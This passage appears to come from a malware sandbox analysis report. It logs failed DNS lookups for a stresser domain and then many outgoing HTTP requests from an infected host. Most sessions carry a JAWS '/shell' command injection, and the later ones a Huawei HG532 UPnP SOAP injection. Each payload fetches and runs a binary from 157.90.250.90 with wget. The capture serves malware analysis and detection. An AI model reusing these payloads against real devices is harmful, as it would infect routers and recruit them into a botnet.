Dec 3, 2024 23:01:47.158065081 CET	8.8.8.8	192.168.2.23	0x6faf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:01:47.632376909 CET	8.8.8.8	192.168.2.23	0x6faf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:11.023323059 CET	8.8.8.8	192.168.2.23	0xf303	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:11.416804075 CET	8.8.8.8	192.168.2.23	0xf303	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:11.672157049 CET	8.8.8.8	192.168.2.23	0xf303	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:16.930119038 CET	8.8.8.8	192.168.2.23	0xf303	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:40.242600918 CET	8.8.8.8	192.168.2.23	0xd0d8	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:40.498209953 CET	8.8.8.8	192.168.2.23	0xd0d8	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:40.752604008 CET	8.8.8.8	192.168.2.23	0xd0d8	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:41.005695105 CET	8.8.8.8	192.168.2.23	0xd0d8	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:41.481715918 CET	8.8.8.8	192.168.2.23	0xd0d8	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:04.807742119 CET	8.8.8.8	192.168.2.23	0x567b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:05.062177896 CET	8.8.8.8	192.168.2.23	0x567b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:05.455091000 CET	8.8.8.8	192.168.2.23	0x567b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:05.709455967 CET	8.8.8.8	192.168.2.23	0x567b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:06.189296007 CET	8.8.8.8	192.168.2.23	0x567b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:29.459120989 CET	8.8.8.8	192.168.2.23	0x2974	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:29.711683035 CET	8.8.8.8	192.168.2.23	0x2974	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:29.964345932 CET	8.8.8.8	192.168.2.23	0x2974	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:30.443542957 CET	8.8.8.8	192.168.2.23	0x2974	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:30.835864067 CET	8.8.8.8	192.168.2.23	0x2974	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	57192	1.57.198.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:49.914310932 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	49548	144.233.250.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:49.914354086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	35186	135.15.7.163	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.039544106 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	55322	151.59.53.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.814915895 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	57012	75.244.175.40	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938703060 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	48238	92.205.42.249	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938734055 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	33264	60.164.109.203	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938772917 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	46592	79.149.81.197	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938791037 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	41578	184.47.95.238	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938815117 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	33014	124.90.254.6	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938839912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	40858	184.220.227.77	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938865900 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	37830	165.207.12.117	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938885927 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	54432	158.67.27.131	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938927889 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	44122	124.180.100.208	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938952923 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	57712	212.110.217.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938970089 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	56846	203.53.63.115	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.938997984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	44190	112.16.175.41	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:50.939023018 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	59542	205.244.238.92	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045202017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	43232	164.63.62.180	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045226097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	53688	50.151.21.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045250893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	60278	123.52.192.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045274019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	59156	82.120.56.10	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045299053 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	59862	111.235.227.103	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045320034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	37200	198.53.211.167	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045331001 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	42460	146.63.138.246	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045362949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	35854	81.114.132.64	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045384884 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	51932	64.182.50.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045414925 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	42816	73.36.157.53	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045438051 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	39438	68.184.62.249	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045459032 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	36418	208.239.12.189	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045485020 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	59076	177.233.205.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045501947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	45350	143.150.243.101	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.045521975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	46464	41.155.219.178	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.800395966 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	48344	197.123.157.24	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.800611019 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	59634	156.205.236.9	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.800676107 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	49108	156.75.54.186	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.800761938 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable 